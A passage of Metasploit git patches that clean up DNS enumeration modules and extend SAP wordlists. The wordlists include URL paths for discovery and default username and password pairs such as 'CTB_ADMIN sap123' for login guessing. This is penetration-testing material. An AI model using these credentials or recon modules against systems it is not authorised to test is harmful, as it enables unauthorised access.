lookup', + 'Name' => 'DNS Reverse Lookup Enumeration Module', 'Description' => %q{ - The module performs a reverse rookup against a given IP range. + This module performs a reverse rookup against a given IP range. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE From 1d64de6c11c31f5d17db6e73d95804cc7ed94f53 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:55:38 -0400 Subject: [PATCH 242/448] Typo word module does not go in the name. --- modules/auxiliary/gather/dns_reverse_lookup.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index 54de8d81bc..20826e56d8 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Reverse Lookup Enumeration Module', + 'Name' => 'DNS Reverse Lookup Enumeration', 'Description' => %q{ This module performs a reverse rookup against a given IP range. }, From bcd59aa8faae0d8d644a7410dc6da0a2197e8797 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Thu, 14 Feb 2013 21:56:24 -0400 Subject: [PATCH 243/448] Typo word module does not go in the name. --- modules/auxiliary/gather/dns_bruteforce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index 2372c93bbc..c41403f7e9 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Host and Subdomain Brutefoce Module', + 'Name' => 'DNS Host and Subdomain Brutefoce', 'Description' => %q{ This module uses a dictionary to perform a bruteforce on hostnames and subdomains available under a given domain. From 57e1d1baa5b3e4fe047ab5bd0c06067b400080c4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 12:03:08 +0100 Subject: [PATCH 244/448] cleanup for dns_info --- modules/auxiliary/gather/dns_info.rb | 185 +++++++++++++-------------- 1 file changed, 90 insertions(+), 95 deletions(-) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index c036b2a95e..21c84de8ae 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -14,14 +14,16 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Basic Information', - 'Description' => %q{ - This module enumerates basic DNS information for a given domain. Information - enumerated is A, AAAA, NS and MX records for the given domain. + 'Name' => 'DNS Basic Information Enumeration', + 'Description' => %q{ + This module enumerates basic DNS information for a given domain. The module + gets information regarding to A (addresses), AAAA (IPv6 addresses), NS (name + servers), SOA (start of authority) and MX (mail servers) records for a given + domain. In addition, this module retrieves information stored in TXT records. }, - 'Author' => [ 'Carlos Perez ' ], - 'License' => BSD_LICENSE - )) + 'Author' => [ 'Carlos Perez ' ], + 'License' => BSD_LICENSE + )) register_options( [ @@ -50,15 +52,15 @@ class Metasploit3 < Msf::Auxiliary end wildcard(datastore['DOMAIN']) - switchdns() if not datastore['NS'].nil? + switchdns() unless datastore['NS'].nil? or datastore['NS'].empty? get_ip(datastore['DOMAIN']).each do |r| - print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + print_good("#{r[:host]} - Address #{r[:address]} found. Record type: #{r[:type]}") report_host(:host => r[:address]) end get_ns(datastore['DOMAIN']).each do |r| - print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + print_good("#{datastore['DOMAIN']} - Name server #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) report_service( :host => r[:address], @@ -69,12 +71,12 @@ class Metasploit3 < Msf::Auxiliary end get_soa(datastore['DOMAIN']).each do |r| - print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + print_good("#{datastore['DOMAIN']} - #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) end get_mx(datastore['DOMAIN']).each do |r| - print_good("#{r[:host]} #{r[:address]} #{r[:type]}") + print_good("#{datastore['DOMAIN']} - Mail server #{r[:host]} (#{r[:address]}) found. Record type: #{r[:type]}") report_host(:host => r[:address], :name => r[:host]) report_service( :host => r[:address], @@ -85,15 +87,17 @@ class Metasploit3 < Msf::Auxiliary end get_txt(datastore['DOMAIN']).each do |r| - report_note(:host => datastore['DOMAIN'], - :proto => 'UDP', - :port => 53, - :type => 'dns.info', - :data => {:text => r[:text]}) + print_good("#{datastore['DOMAIN']} - Text info found: #{r[:text]}. Record type: #{r[:type]}") + report_note( + :host => datastore['DOMAIN'], + :proto => 'udp', + :port => 53, + :type => 'dns.info', + :data => {:text => r[:text]} + ) end end - #--------------------------------------------------------------------------------- def wildcard(target) rendsub = rand(10000).to_s query = @res.query("#{rendsub}.#{target}", "A") @@ -101,11 +105,13 @@ class Metasploit3 < Msf::Auxiliary print_status("This Domain has Wild-cards Enabled!!") query.answer.each do |rr| print_status("Wild-card IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME - report_note(:host => datastore['DOMAIN'], - :proto => 'UDP', - :port => 53, - :type => 'dns.wildcard', - :data => "Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") + report_note( + :host => datastore['DOMAIN'], + :proto => 'UDP', + :port => 53, + :type => 'dns.wildcard', + :data => "Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}" + ) end return true else @@ -113,11 +119,10 @@ class Metasploit3 < Msf::Auxiliary end end - #--------------------------------------------------------------------------------- def get_ip(host) results = [] query = @res.search(host, "A") - if (query) + if query query.answer.each do |rr| record = {} record[:host] = host @@ -127,7 +132,7 @@ class Metasploit3 < Msf::Auxiliary end end query1 = @res.search(host, "AAAA") - if (query1) + if query1 query1.answer.each do |rr| record = {} record[:host] = host @@ -139,94 +144,84 @@ class Metasploit3 < Msf::Auxiliary return results end - #--------------------------------------------------------------------------------- def get_ns(target) results = [] query = @res.query(target, "NS") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| - get_ip(rr.nsdname).each do |r| - record = {} - record[:host] = rr.nsdname.gsub(/\.$/,'') - record[:type] = "NS" - record[:address] = r[:address].to_s - results << record - end - end - end - return results - end - - #--------------------------------------------------------------------------------- - def get_soa(target) - results = [] - query = @res.query(target, "SOA") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| - if Rex::Socket.dotted_ip?(rr.mname) - record = {} - record[:host] = rr.mname - record[:type] = "SOA" - record[:address] = rr.mname - results << record - else - get_ip(rr.mname).each do |ip| - record = {} - record[:host] = rr.mname.gsub(/\.$/,'') - record[:type] = "SOA" - record[:address] = ip[:address].to_s - results << record - end - end - end - end - return results - end - - #--------------------------------------------------------------------------------- - def get_txt(target) - results = [] - query = @res.query(target, "TXT") - if (query) - query.answer.each do |rr| + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr| + get_ip(rr.nsdname).each do |r| record = {} - print_good("Text: #{rr.txt}, TXT") - record[:host] = target - record[:text] = rr.txt - record[:type] = "TXT" + record[:host] = rr.nsdname.gsub(/\.$/,'') + record[:type] = "NS" + record[:address] = r[:address].to_s results << record end end return results end - #--------------------------------------------------------------------------------- - def get_mx(target) + def get_soa(target) results = [] - query = @res.query(target, "MX") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr| - if Rex::Socket.dotted_ip?(rr.exchange) + query = @res.query(target, "SOA") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| record = {} - record[:host] = rr.exchange - record[:type] = "MX" - record[:address] = rr.exchange + record[:host] = rr.mname.gsub(/\.$/,'') + record[:type] = "SOA" + record[:address] = ip[:address].to_s + results << record + end + end + end + return results + end + + def get_txt(target) + results = [] + query = @res.query(target, "TXT") + return results if not query + query.answer.each do |rr| + record = {} + record[:host] = target + record[:text] = rr.txt + record[:type] = "TXT" + results << record + end + return results + end + + def get_mx(target) + results = [] + query = @res.query(target, "MX") + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr| + if Rex::Socket.dotted_ip?(rr.exchange) + record = {} + record[:host] = rr.exchange + record[:type] = "MX" + record[:address] = rr.exchange + results << record + else + get_ip(rr.exchange).each do |ip| + record = {} + record[:host] = rr.exchange.gsub(/\.$/,'') + record[:type] = "MX" + record[:address] = ip[:address].to_s results << record - else - get_ip(rr.exchange).each do |ip| - record = {} - record[:host] = rr.exchange.gsub(/\.$/,'') - record[:type] = "MX" - record[:address] = ip[:address].to_s - results << record - end end end end return results end - #--------------------------------------------------------------------------------- def switchdns() print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) From 6aed858f8063ba45172b74c34b7dadd8bb1993a1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 12:37:46 +0100 Subject: [PATCH 245/448] cleanup for dns_bruteforce --- modules/auxiliary/gather/dns_bruteforce.rb | 26 +++++++++------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index c41403f7e9..74ca1672ec 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -14,43 +14,41 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Host and Subdomain Brutefoce', + 'Name' => 'DNS Brutefoce Enumeration', 'Description' => %q{ - This module uses a dictionary to perform a bruteforce on hostnames and subdomains - available under a given domain. + This module uses a dictionary to perform a bruteforce attack to enumerate + hostnames and subdomains available under a given domain. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE - )) + )) register_options( [ OptString.new('DOMAIN', [ true, "The target domain name"]), OptAddress.new('NS', [ false, "Specify the name server to use for queries, otherwise use the system DNS" ]), - OptPath.new('WORDLIST', [ false, "Wordlist file for domain name brute force.", - File.join(Msf::Config.install_root, "data", "wordlists", "namelist.txt")]), - + OptPath.new('WORDLIST', [ true, "Wordlist file for domain name brute force.", + File.join(Msf::Config.install_root, "data", "wordlists", "namelist.txt")]) ], self.class) register_advanced_options( [ OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), - OptInt.new('THREADS', [ false, "Number of threads", 1]), + OptInt.new('THREADS', [ true, "Number of threads", 1]) ], self.class) end def run print_status("Enumerating #{datastore['DOMAIN']}") @res = Net::DNS::Resolver.new() - @res.retry = datastore['RETRY'].to_i - @res.retry_interval = datastore['RETRY_INTERVAL'].to_i + @res.retry = datastore['RETRY'].to_i unless datastore['RETRY'].nil? + @res.retry_interval = datastore['RETRY_INTERVAL'].to_i unless datastore['RETRY_INTERVAL'].nil? wildcard(datastore['DOMAIN']) - switchdns() if not datastore['NS'].nil? + switchdns() unless datastore['NS'].nil? dnsbrt(datastore['DOMAIN']) end - #--------------------------------------------------------------------------------- def wildcard(target) rendsub = rand(10000).to_s query = @res.query("#{rendsub}.#{target}", "A") @@ -65,7 +63,6 @@ class Metasploit3 < Msf::Auxiliary end end - #--------------------------------------------------------------------------------- def get_ip(host) results = [] query = @res.search(host, "A") @@ -99,7 +96,6 @@ class Metasploit3 < Msf::Auxiliary return results end - #--------------------------------------------------------------------------------- def switchdns() print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) @@ -119,7 +115,7 @@ class Metasploit3 < Msf::Auxiliary Thread.current.kill if not testf vprint_status("Testing #{testf}.#{domain}") get_ip("#{testf}.#{domain}").each do |i| - print_good("#{i[:host]} #{i[:address]}") + print_good("Host #{i[:host]} with address #{i[:address]} found") report_host( :host => i[:address].to_s, :name => i[:host].gsub(/\.$/,'') From 38f5fbced32dba8238a1a84b04fee141403863db Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 12:56:01 +0100 Subject: [PATCH 246/448] cleanup for dns_reverse_lookup --- .../auxiliary/gather/dns_reverse_lookup.rb | 23 ++++++++----------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index 20826e56d8..80ae0a844f 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -16,24 +16,24 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'DNS Reverse Lookup Enumeration', 'Description' => %q{ - This module performs a reverse rookup against a given IP range. + This module performs DNS reverse lookup against a given IP range in order to + retrieve valid addresses and names. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE - )) + )) register_options( [ - OptAddressRange.new('RANGE', [true, 'IP range to perform reverse lookup against.', nil]), - OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]), - + OptAddressRange.new('RANGE', [true, 'IP range to perform reverse lookup against.']), + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]) ], self.class) register_advanced_options( [ OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), - OptInt.new('THREADS', [ true, "Number of seconds to wait before doing a retry.", 2]), + OptInt.new('THREADS', [ true, "The number of concurrent threads.", 1]) ], self.class) end @@ -49,11 +49,10 @@ class Metasploit3 < Msf::Auxiliary end @threadnum = datastore['THREADS'].to_i - switchdns() if not datastore['NS'].nil? + switchdns() unless datastore['NS'].nil? reverselkp(datastore['RANGE']) end - #------------------------------------------------------------------------------- def reverselkp(iprange) print_status("Running reverse lookup against IP range #{iprange}") ar = Rex::Socket::RangeWalker.new(iprange) @@ -67,11 +66,10 @@ class Metasploit3 < Msf::Auxiliary begin query = @res.query(tip) query.each_ptr do |addresstp| - print_status("Host Name: #{addresstp} IP Address: #{tip.to_s}") - + print_status("Host Name: #{addresstp}, IP Address: #{tip.to_s}") report_host( - :host => tip.to_s, - :name => addresstp + :host => tip.to_s, + :name => addresstp ) end rescue ::Interrupt @@ -91,7 +89,6 @@ class Metasploit3 < Msf::Auxiliary end end - #--------------------------------------------------------------------------------- def switchdns() print_status("Using DNS server: #{datastore['NS']}") @res.nameserver=(datastore['NS']) From 21366dd4df6dac460a902152aa9309335ac8c230 Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Fri, 15 Feb 2013 13:20:23 +0100 Subject: [PATCH 247/448] Updated SAP URL list to include further known URLs --- data/wordlists/sap_icm_paths.txt | 41 ++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/data/wordlists/sap_icm_paths.txt b/data/wordlists/sap_icm_paths.txt index 8477a17258..22d3b716d3 100755 --- a/data/wordlists/sap_icm_paths.txt +++ b/data/wordlists/sap_icm_paths.txt @@ -116,6 +116,7 @@ /sap/bc/bsp/sap/graph_bsp_test /sap/bc/bsp/sap/graph_bsp_test/Mimes /sap/bc/bsp/sap/gsbirp +/sap/bc/bsp/sap/hrrcf_wd_dovru /sap/bc/bsp/sap/htmlb_samples /sap/bc/bsp/sap/iccmp_bp_cnfirm /sap/bc/bsp/sap/iccmp_hdr_cntnr @@ -124,6 +125,9 @@ /sap/bc/bsp/sap/iccmp_ssc_ll/ /sap/bc/bsp/sap/ic_frw_notify /sap/bc/bsp/sap/it00 +/sap/bc/bsp/sap/it00/default.htm +/sap/bc/bsp/sap/it00/http_client.htm +/sap/bc/bsp/sap/it00/http_client_xml.htm /sap/bc/bsp/sap/public/bc /sap/bc/bsp/sap/public/graphics /sap/bc/bsp/sap/sam_demo @@ -141,6 +145,17 @@ /sap/bc/bsp/sap/xmb_bsp_log /sap/bc/contentserver /sap/bc/echo +/sap/bc/erecruiting/applwzd +/sap/bc/erecruiting/confirmation_e +/sap/bc/erecruiting/confirmation_i +/sap/bc/erecruiting/dataoverview +/sap/bc/erecruiting/password +/sap/bc/erecruiting/posting_apply +/sap/bc/erecruiting/qa_email_e +/sap/bc/erecruiting/qa_email_i +/sap/bc/erecruiting/registration +/sap/bc/erecruiting/startpage +/sap/bc/erecruiting/verification /sap/bc/error /sap/bc/FormToRfc /sap/bc/graphics/net @@ -169,6 +184,32 @@ /sap/bc/webdynpro/sap/esh_adm_smoketest_ui /sap/bc/webdynpro/sap/esh_eng_modelling /sap/bc/webdynpro/sap/esh_search_results.ui +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_ext +/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_int +/sap/bc/webdynpro/sap/hrrcf_a_appls +/sap/bc/webdynpro/sap/hrrcf_a_applwizard +/sap/bc/webdynpro/sap/hrrcf_a_candidate_registration +/sap/bc/webdynpro/sap/hrrcf_a_candidate_verification +/sap/bc/webdynpro/sap/hrrcf_a_dataoverview +/sap/bc/webdynpro/sap/hrrcf_a_draft_applications +/sap/bc/webdynpro/sap/hrrcf_a_new_verif_mail +/sap/bc/webdynpro/sap/hrrcf_a_posting_apply +/sap/bc/webdynpro/sap/hrrcf_a_psett_ext +/sap/bc/webdynpro/sap/hrrcf_a_psett_int +/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_extern +/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_intern +/sap/bc/webdynpro/sap/hrrcf_a_qa_mss +/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch +/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch_int +/sap/bc/webdynpro/sap/hrrcf_a_req_assess +/sap/bc/webdynpro/sap/hrrcf_a_requi_monitor +/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin +/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager +/sap/bc/webdynpro/sap/hrrcf_a_tp_assess +/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search +/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search +/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand /sap/bc/webdynpro/sap/sh_adm_smoketest_files /sap/bc/webdynpro/sap/wd_analyze_config_appl /sap/bc/webdynpro/sap/wd_analyze_config_comp From fb7d0159c3f3287546ab61eb0fe25e5de51760be Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Fri, 15 Feb 2013 13:26:44 +0100 Subject: [PATCH 248/448] Further URLs --- data/wordlists/sap_icm_paths.txt | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/data/wordlists/sap_icm_paths.txt b/data/wordlists/sap_icm_paths.txt index 22d3b716d3..ca13999d8c 100755 --- a/data/wordlists/sap_icm_paths.txt +++ b/data/wordlists/sap_icm_paths.txt @@ -240,6 +240,8 @@ /sap/public/bc /sap/public/bc/icons /sap/public/bc/icons_rtl +/sap/public/bc/its +/sap/public/bc/its/designs /sap/public/bc/its/mimes /sap/public/bc/its/mimes/system/SL/page/hourglass.html /sap/public/bc/its/mobile/itsmobile00 @@ -252,8 +254,10 @@ /sap/public/bc/pictograms /sap/public/bc/sicf_login_run /sap/public/bc/trex +/sap/public/bc/ur /sap/public/bc/ur /sap/public/bc/wdtracetool +/sap/public/bc/webdynpro /sap/public/bc/webdynpro/adobechallenge /sap/public/bc/webdynpro/mimes /sap/public/bc/webdynpro/ssr @@ -261,15 +265,22 @@ /sap/public/bc/webicons /sap/public/bc/workflow /sap/public/bc/workflow/shortcut +/sap/public/bsp +/sap/public/bsp/sap /sap/public/bsp/sap +/sap/public/bsp/sap/htmlb /sap/public/bsp/sap/htmlb +/sap/public/bsp/sap/public /sap/public/bsp/sap/public +/sap/public/bsp/sap/public/bc /sap/public/bsp/sap/public/bc /sap/public/bsp/sap/public/faa /sap/public/bsp/sap/public/graphics /sap/public/bsp/sap/public/graphics/jnet_handler /sap/public/bsp/sap/public/graphics/mimes +/sap/public/bsp/sap/system /sap/public/bsp/sap/system +/sap/public/bsp/sap/system_public /sap/public/bsp/sap/system_public /sap/public/icf_check /sap/public/icf_info From 5df03f790b88a6e33004a533135f331cee64a02a Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Fri, 15 Feb 2013 13:31:35 +0100 Subject: [PATCH 249/448] Remove end of line spaces and rerun uniq --- data/wordlists/sap_icm_paths.txt | 28 ++++++++++------------------ 1 file changed, 10 insertions(+), 18 deletions(-) diff --git a/data/wordlists/sap_icm_paths.txt b/data/wordlists/sap_icm_paths.txt index ca13999d8c..903a8a1843 100755 --- a/data/wordlists/sap_icm_paths.txt +++ b/data/wordlists/sap_icm_paths.txt @@ -93,11 +93,11 @@ /rwb/version.html /sap/admin /sap/bc/bsp/esh_os_service/favicon.gif -/sap/bc/bsp/sap +/sap/bc/bsp/sap /sap/bc/bsp/sap/alertinbox /sap/bc/bsp/sap/bsp_dlc_frcmp /sap/bc/bsp/sap/bsp_veri -/sap/bc/bsp/sap/bsp_verificatio +/sap/bc/bsp/sap/bsp_verificatio /sap/bc/bsp/sap/bsp_wd_base /sap/bc/bsp/sap/bspwd_basics /sap/bc/bsp/sap/certmap @@ -117,28 +117,28 @@ /sap/bc/bsp/sap/graph_bsp_test/Mimes /sap/bc/bsp/sap/gsbirp /sap/bc/bsp/sap/hrrcf_wd_dovru -/sap/bc/bsp/sap/htmlb_samples +/sap/bc/bsp/sap/htmlb_samples /sap/bc/bsp/sap/iccmp_bp_cnfirm /sap/bc/bsp/sap/iccmp_hdr_cntnr /sap/bc/bsp/sap/iccmp_hdr_cntnt /sap/bc/bsp/sap/iccmp_header /sap/bc/bsp/sap/iccmp_ssc_ll/ /sap/bc/bsp/sap/ic_frw_notify -/sap/bc/bsp/sap/it00 +/sap/bc/bsp/sap/it00 /sap/bc/bsp/sap/it00/default.htm /sap/bc/bsp/sap/it00/http_client.htm /sap/bc/bsp/sap/it00/http_client_xml.htm -/sap/bc/bsp/sap/public/bc +/sap/bc/bsp/sap/public/bc /sap/bc/bsp/sap/public/graphics /sap/bc/bsp/sap/sam_demo /sap/bc/bsp/sap/sam_notifying /sap/bc/bsp/sap/sam_sess_queue -/sap/bc/bsp/sap/sbspext_htmlb -/sap/bc/bsp/sap/sbspext_xhtmlb +/sap/bc/bsp/sap/sbspext_htmlb +/sap/bc/bsp/sap/sbspext_xhtmlb /sap/bc/bsp/sap/spi_admin /sap/bc/bsp/sap/spi_monitor /sap/bc/bsp/sap/sxms_alertrules -/sap/bc/bsp/sap/system +/sap/bc/bsp/sap/system /sap/bc/bsp/sap/thtmlb_scripts /sap/bc/bsp/sap/thtmlb_styles /sap/bc/bsp/sap/uicmp_ltx @@ -180,7 +180,7 @@ /sap/bc/webdynpro/sap/cnp_light_test /sap/bc/webdynpro/sap/configure_application /sap/bc/webdynpro/sap/configure_component -/sap/bc/webdynpro/sap/esh_admin_ui_component +/sap/bc/webdynpro/sap/esh_admin_ui_component /sap/bc/webdynpro/sap/esh_adm_smoketest_ui /sap/bc/webdynpro/sap/esh_eng_modelling /sap/bc/webdynpro/sap/esh_search_results.ui @@ -237,13 +237,12 @@ /sapmc/sapmc.html /sap/monitoring/ /sap/public/bc -/sap/public/bc /sap/public/bc/icons /sap/public/bc/icons_rtl /sap/public/bc/its /sap/public/bc/its/designs /sap/public/bc/its/mimes -/sap/public/bc/its/mimes/system/SL/page/hourglass.html +/sap/public/bc/its/mimes/system/SL/page/hourglass.html /sap/public/bc/its/mobile/itsmobile00 /sap/public/bc/its/mobile/itsmobile01 /sap/public/bc/its/mobile/rfid @@ -255,7 +254,6 @@ /sap/public/bc/sicf_login_run /sap/public/bc/trex /sap/public/bc/ur -/sap/public/bc/ur /sap/public/bc/wdtracetool /sap/public/bc/webdynpro /sap/public/bc/webdynpro/adobechallenge @@ -267,21 +265,15 @@ /sap/public/bc/workflow/shortcut /sap/public/bsp /sap/public/bsp/sap -/sap/public/bsp/sap /sap/public/bsp/sap/htmlb -/sap/public/bsp/sap/htmlb /sap/public/bsp/sap/public -/sap/public/bsp/sap/public /sap/public/bsp/sap/public/bc -/sap/public/bsp/sap/public/bc /sap/public/bsp/sap/public/faa /sap/public/bsp/sap/public/graphics /sap/public/bsp/sap/public/graphics/jnet_handler /sap/public/bsp/sap/public/graphics/mimes /sap/public/bsp/sap/system -/sap/public/bsp/sap/system /sap/public/bsp/sap/system_public -/sap/public/bsp/sap/system_public /sap/public/icf_check /sap/public/icf_info /sap/public/icf_info/icr_groups From 65194441122d858f02c52d896fc933a3ab1cbdae Mon Sep 17 00:00:00 2001 From: Chris John Riley Date: Fri, 15 Feb 2013 13:35:25 +0100 Subject: [PATCH 250/448] Addition defaults --- data/wordlists/sap_default.txt | 3 +++ 1 file changed, 3 insertions(+) diff --git a/data/wordlists/sap_default.txt b/data/wordlists/sap_default.txt index dcd73dd49c..2102fd069b 100644 --- a/data/wordlists/sap_default.txt +++ b/data/wordlists/sap_default.txt @@ -12,3 +12,6 @@ ADS_AGENT ch4ngeme DEVELOPER ch4ngeme J2EE_ADMIN ch4ngeme SAPJSF ch4ngeme +SAPR3 SAP +CTB_ADMIN sap123 +XMI_DEMO sap123 \ No newline at end of file From 374faf9b0282c03312711af28b3a760d0154bf25 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 15 Feb 2013 16:19:48 +0100 Subject: [PATCH 251/448] cleanup for dns_srv --- modules/auxiliary/gather/dns_srv.rb | 110 ++++++++++++++-------------- 1 file changed, 55 insertions(+), 55 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv.rb b/modules/auxiliary/gather/dns_srv.rb index a80e864b20..aeb3eef1c5 100644 --- a/modules/auxiliary/gather/dns_srv.rb +++ b/modules/auxiliary/gather/dns_srv.rb @@ -16,7 +16,12 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'DNS Common Service Record Enumeration', 'Description' => %q{ - This module enumerates common DNS service records. + This module enumerates common DNS service records in a given domain. By setting + the ALL_DNS to true, all the name servers of a given domain are used for + enumeration. Otherwise only the system dns is used for enumration. in order to get + all the available name servers for the given domain the SOA and NS records are + queried. In order to convert from domain names to IP addresses queries for A and + AAAA (IPv6) records are used. }, 'Author' => [ 'Carlos Perez ' ], 'License' => BSD_LICENSE @@ -25,13 +30,13 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('DOMAIN', [ true, "The target domain name."]), - OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]), + OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]) ], self.class) register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 3]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 4]), + OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]) ], self.class) end @@ -61,6 +66,10 @@ class Metasploit3 < Msf::Auxiliary records.uniq! records.each do |r| print_good("Host: #{r[:host]} IP: #{r[:address].to_s} Service: #{r[:service]} Protocol: #{r[:proto]} Port: #{r[:port]}") + report_host( + :host => r[:address].to_s, + :name => r[:host] + ) report_service( :host=> r[:address].to_s, :port => r[:port].to_i, @@ -68,39 +77,34 @@ class Metasploit3 < Msf::Auxiliary :name => r[:service], :host_name => r[:host] ) - report_host( - :host => r[:address].to_s, - :name => r[:host] - ) end end - #--------------------------------------------------------------------------------- + def get_soa(target) results = [] query = @res.query(target, "SOA") - if (query) - (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| - if Rex::Socket.dotted_ip?(rr.mname) + return results if not query + (query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr| + if Rex::Socket.dotted_ip?(rr.mname) + record = {} + record[:host] = rr.mname + record[:type] = "SOA" + record[:address] = rr.mname + results << record + else + get_ip(rr.mname).each do |ip| record = {} - record[:host] = rr.mname + record[:host] = rr.mname.gsub(/\.$/,'') record[:type] = "SOA" - record[:address] = rr.mname + record[:address] = ip[:address].to_s results << record - else - get_ip(rr.mname).each do |ip| - record = {} - record[:host] = rr.mname.gsub(/\.$/,'') - record[:type] = "SOA" - record[:address] = ip[:address].to_s - results << record - end end end end return results end - #------------------------------------------------------------------------------- + def srvqry(dom) results = [] #Most common SRV Records @@ -127,36 +131,35 @@ class Metasploit3 < Msf::Auxiliary begin query = @res.query(trg , Net::DNS::SRV) - if query - query.answer.each do |srv| - if Rex::Socket.dotted_ip?(srv.host) + next unless query + query.answer.each do |srv| + if Rex::Socket.dotted_ip?(srv.host) + record = {} + srv_info = srvt.scan(/^_(\S*)\._(tcp|udp)\./)[0] + record[:host] = srv.host.gsub(/\.$/,'') + record[:type] = "SRV" + record[:address] = srv.host + record[:srv] = srvt + record[:service] = srv_info[0] + record[:proto] = srv_info[1] + record[:port] = srv.port + record[:priority] = srv.priority + results << record + vprint_status("SRV Record: #{trg} Host: #{srv.host.gsub(/\.$/,'')} IP: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}") + else + get_ip(srv.host.gsub(/\.$/,'')).each do 